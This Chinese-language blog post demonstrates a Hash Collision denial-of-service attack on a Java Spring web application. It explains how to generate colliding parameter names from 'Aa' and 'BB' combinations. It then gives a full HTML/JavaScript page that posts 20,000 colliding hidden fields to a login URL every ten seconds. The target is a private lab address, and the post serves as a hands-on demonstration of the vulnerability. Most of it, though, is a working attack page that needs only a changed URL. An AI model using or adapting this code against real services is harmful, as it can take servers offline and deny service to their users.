关于Hash Collision DoS漏洞:web实例
关于Hash Collision DoS漏洞:解析与解决方案
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
构造一个有漏洞的服务程序
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。
假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。
如何构造N多的Hash Collision数据
0(Aa) 1(BB)
-----------------
01 10
-----------------
0101 0110 1001 1010
-------------------------------------------
01010101 01010110 01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据
function combination(a){var res=[]; for(var i = 0; i < a.length; i++ ){var item=a[i];for(var j = 0; j < a.length; j++){res.push(item+""+a[j]);}}return res;}
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8"><html><head><title>login</title><script type="text/javascript"src="jquery-1.5.1.js"></script><script type="text/javascript">function combination(a){var res=[]; for(var i = 0; i < a.length; i++ ){var item=a[i];for(var j = 0; j < a.length; j++){res.push(item+""+a[j]);}}return res;}function submitreq(){var a = [0, 1];var ret;var myform=document.forms[0];var action=myform.action;for(var i = 0; i < 4; i++ ){a=combination(a);}//一次提交20000个参数,如果你的机器性能还可以改大点for(var j = 0; j < 20000; j++){var temp=a[j];temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');//ret+=temp+"="+j+"&";$("#UName").after("<input type="hidden" name=""+temp+"" value="">"); }//myform.action=action+"?"+ret;myform.submit();}//每10秒钟执行一次window.setInterval("submitreq()", 10000);</script></head><body><form action="http://192.168.1.20:8080/spring3/user/login" method="post">name:<input name="name" id="UName"><br />password:<input type="password" name="password"><br /><input type="button" value="login" onclick="submitreq()" /></form></body></html>